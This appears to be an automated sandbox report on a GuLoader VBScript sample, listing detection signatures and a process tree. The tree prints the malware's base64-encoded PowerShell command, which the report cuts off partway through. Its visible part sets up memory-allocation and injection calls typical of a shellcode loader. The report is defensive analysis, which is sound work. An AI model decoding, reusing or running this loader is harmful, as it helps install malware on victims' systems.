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Windows
Analysis Report
Sursdep.vbs
Overview
General Information
Detection
GuLoader
Score: | 72 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Yara detected GuLoader
Wscript starts Powershell (via cmd or directly)
C2 URLs / IPs found in malware configuration
Encrypted powershell cmdline option found
Very long command line found
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Queries the volume information (name, serial number etc) of a device
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Compiles C# or VB.Net code
Found dropped PE file which has not been started or loaded
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Enables debug privileges
Classification
- System is w10x64
- wscript.exe (PID: 6408 cmdline:
C:\Windows \System32\ wscript.ex e "C:\User s\user\Des ktop\Sursd ep.vbs" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C) - powershell.exe (PID: 5576 cmdline:
C:\Windows \SysWOW64\ Windowspow erShell\v1 .0\powersh ell.exe" - EncodedCom mand "IwBi AHIAZABmAG QAdAB0AG8A bgAgAFMAdA B2AG4AZQAg AFoAaQBuAG MAZQBkACAA SQBOAEQAUw BUAFQAIABN AGUAdAB0AG EAcgB0AGEA bQBnADcAIA BTAGEAbABh ACAAYwBlAG IAYQBsACAA RgBPAFIAUw BUACAATwBz AHQAZQBvAG wAaQB0ADEA IABVAG4AZA BpAHMAYwBv AHUANgAgAE EAZAByAGUA cwBzAGEAIA BDAGEAbgBh AGQAaQA5AC AATwBWAEUA UgBUAEEATA BFACAAQgBl AG0AZQAgAG QAZQBzAHQA cgB1AGsAdA BpACAATwBT AFQARQBBAE 4AUgBFAFQA TgAgAEQAcg BpAGYAdABz AHMAdAB5AH IAMQAgAEkA TgBEAEwARQ BEAEUATgBE AEUAIABCAG EAZwB0ADcA IABCAEEAUg BTAEwARQBE AEUAUwAgAE 8ATwBQAEgA TwAgAEwAYQ BjAGUAZAA5 ACAADQAKAE EAZABkAC0A VAB5AHAAZQ AgAC0AVAB5 AHAAZQBEAG UAZgBpAG4A aQB0AGkAbw BuACAAQAAi AA0ACgB1AH MAaQBuAGcA IABTAHkAcw B0AGUAbQA7 AA0ACgB1AH MAaQBuAGcA IABTAHkAcw B0AGUAbQAu AFIAdQBuAH QAaQBtAGUA LgBJAG4AdA BlAHIAbwBw AFMAZQByAH YAaQBjAGUA cwA7AA0ACg BwAHUAYgBs AGkAYwAgAH MAdABhAHQA aQBjACAAYw BsAGEAcwBz ACAASABlAH gAYQBzAHQA aQBjAGgAMQ ANAAoAewAN AAoAWwBEAG wAbABJAG0A cABvAHIAdA AoACIASwBF AFIATgBFAE wAMwAyACIA KQBdAHAAdQ BiAGwAaQBj ACAAcwB0AG EAdABpAGMA IABlAHgAdA BlAHIAbgAg AHYAbwBpAG QAIABSAHQA bABNAG8Adg BlAE0AZQBt AG8AcgB5AC gASQBuAHQA UAB0AHIAIA BCAGEAZwBm AHUAbABzAD UAMQAsAHIA ZQBmACAASQ BuAHQAMwAy ACAAQgBhAG cAZgB1AGwA cwA1ADIALA BpAG4AdAAg AEIAYQBnAG YAdQBsAHMA NQAzACkAOw ANAAoAWwBE AGwAbABJAG 0AcABvAHIA dAAoACIAbg B0AGQAbABs AC4AZABsAG wAIgAsACAA RQBuAHQAcg B5AFAAbwBp AG4AdAA9AC IATgB0AEEA bABsAG8AYw BhAHQAZQBW AGkAcgB0AH UAYQBsAE0A ZQBtAG8Acg B5ACIAKQBd AHAAdQBiAG wAaQBjACAA cwB0AGEAdA BpAGMAIABl AHgAdABlAH IAbgAgAGkA bgB0ACAAVg BBACgAaQBu AHQAIABIAG UAeABhAHMA dABpAGMAaA A2ACwAcgBl AGYAIABJAG 4AdAAzADIA IABTAGUAbQ BpAHIAZQAs AGkAbgB0AC AAQgBhAGcA ZgB1AGwAcw A1ACwAcgBl AGYAIABJAG 4AdAAzADIA IABIAGUAeA BhAHMAdABp AGMAaAAsAG kAbgB0ACAA UAByAGkAbg B0ADgALABp AG4AdAAgAE gAZQB4AGEA cwB0AGkAYw BoADcAKQA7 AA0ACgBbAE QAbABsAEkA bQBwAG8Acg B0ACgAIgBV AFMARQBSAD MAMgAiACkA XQBwAHUAYg BsAGkAYwAg AHMAdABhAH QAaQBjACAA ZQB4AHQAZQ ByAG4AIABJ AG4AdABQAH QAcgAgAEUA bgB1AG0AVw BpAG4AZABv AHcAcwAoAH UAaQBuAHQA IABCAGEAZw BmAHUAbABz ADUANQAsAG kAbgB0ACAA QgBhAGcAZg B1AGwAcwA1 ADYAKQA7AA 0ACgB9AA0A CgAiAEAADQ AKACMARABF AEgAQQBDAE gARQAgAFQA bwBzAHMAZQ AzACAAVABl AGEAdABlAH IANgAgAGQA aQBhAGwAZQ BjAHQAaQBj ACAARQBOAE wASQBTAFQA RQBEAFIAIA BGAGQAcwBl ADcAIABBAH MAdAByAG8A IABTAHcAZQ ByAHYAZQBy ADkAIABkAG 8AdwBuAGUA eQAgAHIAaQ BiAGgAdQBz AHQAIABUAG EAZwByACAA UwBwAHIAZw BlAHMAIABW AGkAbABsAG EANQAgAEgA ZQB0AGUAcg BvAGQAeQBu ADEAIABFAF UAUABMAE8A SQAgAEIAeQ B0AHQAZQAz ACAAcwBuAG sAZQByAGYA cgAgAEIAdQ BuAGQAZwBh AHIAbgAgAH MAdAByAG0A awByAGUAZA BzACAATAB0 AG4AaQBuAG cAYgBpADUA IABpAG4AZA BzACAAQQBp AHIAbABpAG YAdAA1ACAA TwBDAFQAQQ BWAEkATgBB AFYASQAgAF MAawBvAGsA bwBtAGkAcw